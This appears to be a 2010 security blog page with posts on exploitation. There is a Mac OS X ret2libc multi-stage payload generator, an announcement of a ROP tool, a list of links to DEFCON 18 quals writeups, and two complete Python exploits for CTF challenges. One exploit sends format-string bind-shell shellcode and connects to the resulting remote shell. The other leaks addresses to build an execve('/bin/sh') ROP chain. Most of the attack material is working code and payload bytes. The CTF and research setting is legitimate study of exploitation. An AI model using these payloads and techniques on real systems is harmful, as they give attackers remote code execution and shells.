Simple Mac OS X ret2libc exploit (x86)
October 5, 2010 by longld · 2 Comments
Talking about buffer overflow exploit on x86, Mac OS X is the most easy and hacker friendly target compare to Linux or Windows. OS X always loads /usr/lib/dyld at a fixed location and it contains a lot of helper stubs to launch the exploit. If you want something advanced likes ROP (Return-Oriented-Programming) exploit you may have a look at “Mac OS X Return-Oriented Exploitation” and thorough step-by-step guide “OSX ROP Exploit – EvoCam Case Study“. But actually, we don’t need ROP for 32-bit exploitation on OS X, simple ret2libc is enough and straightforward to implement. Let take a look at multi-stage ret2libc exploit on OS X.
The target
Under OSX, dyld is always loaded at a fixed location with __IMPORT page is RWX as shown below:
__TEXT 8fe00000-8fe0b000 [ 44K] r-x/rwx SM=COW /usr/lib/dyld __TEXT 8fe0b000-8fe0c000 [ 4K] r-x/rwx SM=PRV /usr/lib/dyld __TEXT 8fe0c000-8fe42000 [ 216K] r-x/rwx SM=COW /usr/lib/dyld __LINKEDIT 8fe70000-8fe84000 [ 80K] r--/rwx SM=COW /usr/lib/dyld __DATA 8fe42000-8fe44000 [ 8K] rw-/rwx SM=PRV /usr/lib/dyld __DATA 8fe44000-8fe6f000 [ 172K] rw-/rwx SM=COW /usr/lib/dyld __IMPORT 8fe6f000-8fe70000 [ 4K] rwx/rwx SM=COW /usr/lib/dyld
Our target is to transfer the desired shellcode to the __IMPORT section of dyld then execute it. We can simply do this with byte-per-byte copy way of ROPEME. There is some disadvantages with this method:
- Payload size is large, around 10 times of actual shellcode
- We have to re-generate the whole payload when changing to new shellcode
With OS X we can do it better as there is a RWX page at static location.
Staging payload
The most complicated part of ROP technique is “stack pivoting” or ESP register control under ASLR. By executing a small shellcode we can take ESP under control easily. Our multi-stage payload will look like:
Stage-2: actual shellcode
This is the last stage in our multi-stage payload. Any NULL-free shellcode can be used, e.g bind shell code from Metasploit.
Stage-1: shellcode loader for stage-2 payload
This stage will transfer stage-2 payload on stack to __IMPORT section (RWX) of dyld then executes it. The transfer function is _strcpy() in dyld. Below small shellcode will be executed on RWX page to perform the job:
# 58 pop eax # eax -> TARGET # 5B pop ebx # ebx -> STRCPY # 54 push esp # src -> &shellcode # 50 push eax # dst -> TARGET # 50 push eax # jump to TARGET when return from _strcpy() # 53 push ebx # STRCPY # C3 ret # execute _strcpy(TARGET, &shellcode)
Stage-0: ret2libc loader for stage-1 payload
This stage will transfer 7 bytes of stage-1 payload to our RWX location using repeated _strcpy() calls, then executes it. We lookups the dyld for necessary byte values and copy it to the target byte-per-byte.
In summary, there is some advantages with our multi-stage payload:
- Straightforward to implement: only ret2libc calls, no gadget is required
- Payload size overhead is small: around 100 bytes
- Independent, generic loader code: no need to regenerate the whole payload, just append a new shellcode to make new payload
Automated payload generator
Let put all this together and make an automated payload generator in Python.
- Select the target
#__IMPORT 8fe6f000-8fe70000 [ 4K] rwx/rwx SM=COW /usr/lib/dyld TARGET = 0x8fe6f010 # to avoid NULL byte # dyld base address DYLDADDR = 0x8fe00000
- Extract dyld’s i386 code
# $ otool -f /usr/lib/dyld # ... #architecture 1 # cputype 7 # cpusubtype 3 # capabilities 0x0 # offset 352256 # size 368080 # align 2^12 (4096) # ... DYLDFILE = "/usr/lib/dyld" DYLDCODE = open(DYLDFILE, "rb").read() DYLDCODE = DYLDCODE[352256 : 352256+368080]
- _strcpy() call
# $ nm -arch i386 /usr/lib/dyld | grep _strcpy # 8fe2db10 t _strcpy STRCPY = 0x8fe2db10 # $ otool -arch i386 -tv /usr/lib/dyld | grep pop -A2 | grep ret -B1 | grep pop # 8fe28790 popl %edi # 8fe2b3d4 popl %edi POP2RET = 0x8fe2878f
- stage-1
# stage1 # 58 pop eax # eax -> TARGET # 5B pop ebx # ebx -> STRCPY # 54 push esp # dst -> &shellcode # 50 push eax # src -> TARGET # 50 push eax # jump to TARGET when return from _strcpy() # 53 push ebx # STRCPY # C3 ret # execute _strcpy(TARGET, &shellcode) STAGE1 = "\x58\x5b\x54\x50\x50\x53\xc3"
- stage-0
# stage0: _strcpy sequences STAGE0 = gen_stage0(DYLDCODE, STAGE1)
Below is the stage-0 payload loader generated for OS X 10.6.4:
STAGE0 = ( "\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x10\xf0\xe6\x8f\x31\x24\xe1\x8f"
"\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x12\xf0\xe6\x8f\x32\x01\xe0\x8f"
"\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x13\xf0\xe6\x8f\x7e\x21\xe1\x8f"
"\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x15\xf0\xe6\x8f\x45\x10\xe0\x8f"
"\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x16\xf0\xe6\x8f\x44\x10\xe0\x8f"
"\x10\xf0\xe6\x8f\x10\xf0\xe6\x8f\x10\xdb\xe2\x8f" )
Test the payload with simple buffer overflow:
bash-3.2$ ./vuln "`python -c 'print "A"*272 + "\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x10\xf0\xe6\x8f\x31\x24\xe1\x8f\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x12\xf0\xe6\x8f\x32\x01\xe0\x8f\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x13\xf0\xe6\x8f\x7e\x21\xe1\x8f\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x15\xf0\xe6\x8f\x45\x10\xe0\x8f\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x16\xf0\xe6\x8f\x44\x10\xe0\x8f\x10\xf0\xe6\x8f\x10\xf0\xe6\x8f\x10\xdb\xe2\x8f" + "\xcc"*4'` ... Trace/BPT trap bash-3.2$
Looking for the next? Maybe “Mac OS X ROP exploit on x86_64″ someday.
ROPEME – ROP Exploit Made Easy
ROPEME – ROP Exploit Made Easy – is a PoC tool for ROP exploit automation on Linux x86. It contains a set of simple Python scripts to generate and search for ROP gadgets from binaries and libraries (e.g libc). A sample payload class is also included to help generate multistage ROP payload with the technique described in the Black Hat USA 2010 talk: “Payload already inside: data re-use for ROP exploits“.
Check the latest paper and slides and PoC code.
And take a look at the demo video below:
Enjoy ROPing!
DEFCON 18 Quals: Pwtent Pwnables 500 esd2 exploit
May 28, 2010 by longld · Leave a Comment
CLGT did not solved this during the quals! Here is the exploit for the esd2 leaked from pp200 (thanks beist for sharing). More analysis & write up for the real pp500 will come later:
#!/usr/bin/env python
import socket
import struct
import telnetlib
import time
HOST = '192.168.56.101'
PORT = 8302
def xor_input(data):
static = "%5d | %5d\n" + "\x00"*4
out = ""
for i in range(len(data)):
out += chr(ord(static[i]) ^ ord(data[i]))
return out
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# send password
s.send("sp3wn0w" + "\n")
# prepare the payload
# overwrite lseek@plt, original value = 0x08048ae2
target = 0x804a30c
# shellcode address = 0x0804a040 + 142 bytes (padding + fmt_string)
ret = 0x0804a0ce
# value to write into target
write_byte = 0xa0ce
# payload = target + padding(128 - 4) + 14 (fmt_string) + shellcode
padding = "A"*128
fmt_string = "%" + str(write_byte) + "u%24$hn"
fmt_string = xor_input(fmt_string)
# bindshell: port 5678
shellcode = "\x00\x29\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x63\x7d\xa9\x09\x83\xeb\xfc\xe2\xf4\x09\x1c\xf1\x90\x31\x15\xb9\x0b\x75\x53\x20\xe8\x31\x3f\xfb\x4b\x31\x17\xb9\xc4\xe3\xe4\x3a\x58\x30\x2f\xc3\x61\x3b\xb0\x29\xb9\x09\xb0\x29\x5b\x30\x2f\x19\x17\xae\xfd\x3e\x63\x61\x24\xc3\x53\x3b\x2c\xfe\x58\xae\xfd\xe0\x70\x96\x2d\xc1\x26\x4c\x0e\xc1\x61\x4c\x1f\xc0\x67\xea\x9e\xf9\x5d\x30\x2e\x19\x32\xae\xfd\xa9\x09"
payload = struct.pack("<L", target) + padding[4:] + fmt_string + shellcode + "\n"
print "Sending payload...", repr(payload)
s.send("c\n" + str(len(payload)) +"\n")
s.send(payload)
# trigger the read_blob that calls lseek()
s.send("r\n" + "10\n")
print "Connecting to remote shell port 5678..."
time.sleep(4)
t = telnetlib.Telnet(HOST, 5678)
t.write("id\n\n")
t.interact()
t.close()
s.close()
DEFCON 18 Quals: writeups collection
May 25, 2010 by longld · 18 Comments
DEFCON 18 Quals is over and here are the writeups collection from teams, come back for latest updates.
(please inform me if you have write up for c500, pm500)
PURSUITS TRIVIAL
PT100: spiderman movie quote
- http://n.pentest.jp/?p=691 (Japanese)
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-PursuitsTrivial-100.html
PT200: VIM shell
- http://bernardodamele.blogspot.com/2010/05/defcon-18-ctf-quals-writeup-pursuit.html
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-PursuitsTrivial-200.html
- http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-trivial-200.html
PT300: social networking
PT400: java game
- http://cvk.posterous.com/defcon-18-quals-pt400-walkthrough
- http://www.nth-dimension.org.uk/blog.php?id=85
- Defcon CTF Pursuits Trivial 400 server source and images
- pwning trivia 400 at defcon 18 quals (video)
PT500: audio remix
CRYPTO BADNESS
C100: alphabet cipher (Dvorak keyboard)
- http://www.nth-dimension.org.uk/blog.php?id=83
- http://forensic-proof.com/85 (Korean)
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-CryptoBadass-100.html
- http://n.pentest.jp/?p=728
C200: Enigma cipher
- http://forensic-proof.com/84 (Korean)
C300:
- http://n.pentest.jp/?p=713 (Japanese)
- http://forensic-proof.com/86 (Korean)
C400: RSA 768 bits crack
C500:
- n/a
PACKET MADNESS
PM100: yEnc madness (too hard for 100pts)
- http://ddtek.biz/mkyyank.pl (script written by ddtek’s m3rc to generate the PM100 challenge)
- http://stalkr.net/files/defcon/2010/quals/packet100/writeup.txt
PM200: EBCDIC shell
- http://scott.wolchok.org/ctf2010/pkt200.html
- http://bernardodamele.blogspot.com/2010/05/defcon-18-ctf-quals-writeup-packet.html
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-Packet%20Madness-200.html
- http://www.segmentationfault.fr/ctf/resume-dc18-ctf-quals/ (French)
- http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-packet-200.html
PM300:
- http://nibbles.tuxfamily.org/?p=1389 (French)
PM400:
PM500:
- n/a
BINARY L33TNESS
B100: Linux x86 crackme
- http://ezbeat.tistory.com/234 (Korean)
- http://ddoogg.nayana.com/test/hahah/b100.txt
- http://n.pentest.jp/?p=719
B200: Haiku OS crackme
- http://solution-36.blogspot.com/2010/05/defcon-quals-binary-200-writeup.html
- http://n.pentest.jp/?p=734
- http://smokedchicken.org/2010/05/dc18-bin200-bin300.html (Russian)
B300: Linux x64 crackme
- http://scott.wolchok.org/ctf2010/b300.html (team n0tl33t)
- pwning binary 300 at defcon 18 quals (video)
- http://smokedchicken.org/2010/05/dc18-bin200-bin300.html (Russian)
B400: Linux x86 binary with embedded lightweight Java Virtual Machine (base on j2me_cldc reference code from Sun)
- http://blog.zynamics.com/2010/06/02/defcon-ctf-bin400-writeup/
- http://blog.oxff.net/2010/6/16/Defcon_CTF_%2318_Prequals%3A_bin400.html
B500: Solaris SPARC 9 x64 (find the DES key)
PWTENT PWNABLES
PP100: FreeBSD BOF exploit with stack cookie based on time
(wasted of time due to wrong server timezone!)PP200: python shell
- http://scott.wolchok.org/ctf2010/pp200.html
- pwning pwnable 200 at defcon 18 quals (video)
- http://bernardodamele.blogspot.com/2010/05/defcon-18-ctf-quals-writeup-pwtent.html
- http://www.rajatswarup.com/blog/2010/05/25/pwtent-pwnable-200-writeup-ctf-quals-2010/
PP300: FreeBSD exploit – heap overflow
- http://securityblackswan.blogspot.com/2010/05/lets-solve-this-challenge.html
- http://www.vxhell.org/~teach/defcon18/pwnables/pp300-writeup.txt
PP400: Mach-O PPC binary exploit (err .. it’s the same binary as last year pp400 challenge)
- Write up for pp400 by VedaGodz last year (they pulled out during the quals)
- http://adamrosenfield.com/blog/2010/05/26/ill-take-pwtent-pwnables-for-400-please-alex/
PP500: FreeBSD exploit recover from a packet dump
(err .. binary & key were leaked from PP200 shell to some teams)
- http://sploitlab.wordpress.com/2010/05/26/pwtent-pwnables-500-solution/ (unsolved)
- http://beist.org/esd2 (this is the binary lolz team taken from pwn200. after ddtek aware of this problem, they modified the code a bit)
- http://www.vnsecurity.net/2010/05/defcon-18-quals-pwtent-pwnables-500-exploit/ (exploit for esd2)
- http://www.vnsecurity.net/2010/05/defcon-18-quals-pwtent-pwnables-500-write-up/
FORENSICS
F100: hidden key in NTFS filesystem
- http://scott.wolchok.org/ctf2010/f100.html
- http://forensic-proof.com/87
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-Forensics-100.html
- http://n.pentest.jp/?p=739
- http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-forensics.html
F200: PNG images analysis
- convert * -layers merge IMG_merged.png (one line solution)
- http://www.nth-dimension.org.uk/blog.php?id=84
- http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-Forensics-200.html
- http://www.bryceboe.com/2010/05/25/defcon-18-quals-forensics-200-write-up/
F300:
- http://forensic-proof.com/89 (Korean) – unsolved
- http://vserv3234.swisslink.ch/f300_writeup.txt (team Routards)
F400: Live OS image
F500:RAID image carving
- http://scott.wolchok.org/ctf2010/f500.html (team n0tl33t)
- http://forensic-proof.com/93 (Korean)
Misc Links
Return-oriented-programming practice: exploiting CodeGate 2010 Challenge 5
April 18, 2010 by longld · 4 Comments
In my previous post about CodeGate 2010 Challenge 5 exploit, I mentioned the weakness of accessing server to get execl() address. In this post I will show how to blindly exploit the “harder” program without access to the remote server using return-oriented-programming technique.
ROP introduction
A worth to read post about ROP introduction can be found on Zynamics blog: http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/
In summary: we will use return-into-instructions (called gadgets) to build and execute our payload when controlled EIP and ESP from vulnerable program.
ROP limitations (difficulties):
- ASLR: the same as return-into-libc, it’s difficult to locate address of instructions in library (e.g libc)
- ASCII-armor address: with ascii-armor remapping of libraries (e.g libc), addresses will contain NULL byte so chaining return-into-libc calls and ROP is impossible if there’s NULL filter in input
The “harder” case
Fortunately, we can blindly exploit the “harder” program using ROP because it provides some “advantages” in code:
- getline(): can pass NULL byte to input
- printf(): can leak runtime memory info (bypass ASLR)
Finding ROP gadgets
Our target is to invoke execve(”/bin/sh”, 0, 0) syscall, which is equivalent to prepare registers’ value then trigger kernel syscall:
eax = 0xb // execve
ebx = address of “/bin/sh”
ecx = 0 // argv
edx = 0 // env
Searching in harder binary, we found below gadgets:
- eax:
80483a4: 58 pop %eax 80483a5: 5b pop %ebx 80483a6: c9 leave 80483a7: c3 ret
- ebx & ecx:
8048634: 59 pop %ecx 8048635: 5b pop %ebx 8048636: c9 leave 8048637: c3 ret
“/bin/sh” is placed on target buffer, its address is available by leaking via printf()
- edx:
There’s no edx related gadget but observing that when returned from memcpy() edx’s value is set to esi so we can assign esi to 0×0 first then return again to main to nullify edx.0x001ba506 : mov edx,esi 80485e6: 5e pop %esi 80485e7: 5f pop %edi 80485e8: 5d pop %ebp 80485e9: c3 ret
- syscall:
In recent Linux kernel, syscall is usually performed via linux gate: call gs:[0x10]. By return to back to printf() in harder program many times, we can find the offset from getline() to first syscall is 319 bytes.
- moving stack:
After “leave; ret” our stack will be moved to new location pointing by ebp. We can control this by set ebp back to somewhere in the middle of target buffer.
Exploit code
#!/usr/bin/env python
import socket
import sys
import struct
import telnetlib
#host = 'ctf4.codegate.org'
host = '127.0.0.1'
port = 9005
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
buf=""
# bypass first read
buf = c.recv(1024)
# getline() address
buf = "A"*268 + struct.pack('i', 0x08048524) + struct.pack('i', 0x0804a008) + "\n"
c.send(buf)
buf = c.recv(1024)
addr = ""
getline_addr = int(buf[:4][::-1].encode('hex'), 16)
print "getline() is at:", hex(getline_addr)
# call gs:[0x10] address
offset = 319 # first offset is 319 bytes from getline()
syscall_addr = getline_addr + offset
# buffer address
buf = "%7$x" + "\x00"*260 + struct.pack('i', 0x08048521)*2 + "\n"
c.send(buf)
buf = c.recv(1024)
input_addr = int(buf[:8], 16)
print "Buffer address is at: ", hex(input_addr)
# gadgets address
pop_eax = 0x080483a4
pop_ecx_ebx = 0x08048634
pop_esi = 0x080485e6
# pop esi
buf = "A"*268 + struct.pack('i', pop_esi) + "\x00" * 12 + struct.pack('i', 0x08048524)*2 + "\n"
c.send(buf)
c.recv(1024)
# pop eax then move stack to new address
input_addr += 560 # lifting after 2 getline() calls
new_stack = input_addr+8
buf = "/bin/sh\x00" # /bin/sh
buf += struct.pack('i', new_stack+16) # next ebp after leave from pop_eax
buf += struct.pack('i', pop_ecx_ebx) # next is pop_ecx_ebx
buf += "\x00"*4 # ecx
buf += struct.pack('i', input_addr) # ebx -> /bin/sh
buf += "A"*4 # un-used ebp after leave from pop_ecx_ebx
buf += struct.pack('i', syscall_addr)
buf = buf.ljust(264, "A") # padding
buf += struct.pack('i', new_stack) # new ebp
buf += struct.pack('i', pop_eax)
buf += "\x0b\x00\x00\x00" # execve syscal
buf += "A"*4 # un-used ebx
buf += "\n"
print "Sending final payload ..."
c.send(buf)
c.send("id 2>&1" + "\n"*5)
t = telnetlib.Telnet()
t.sock = c
t.interact()
c.close()

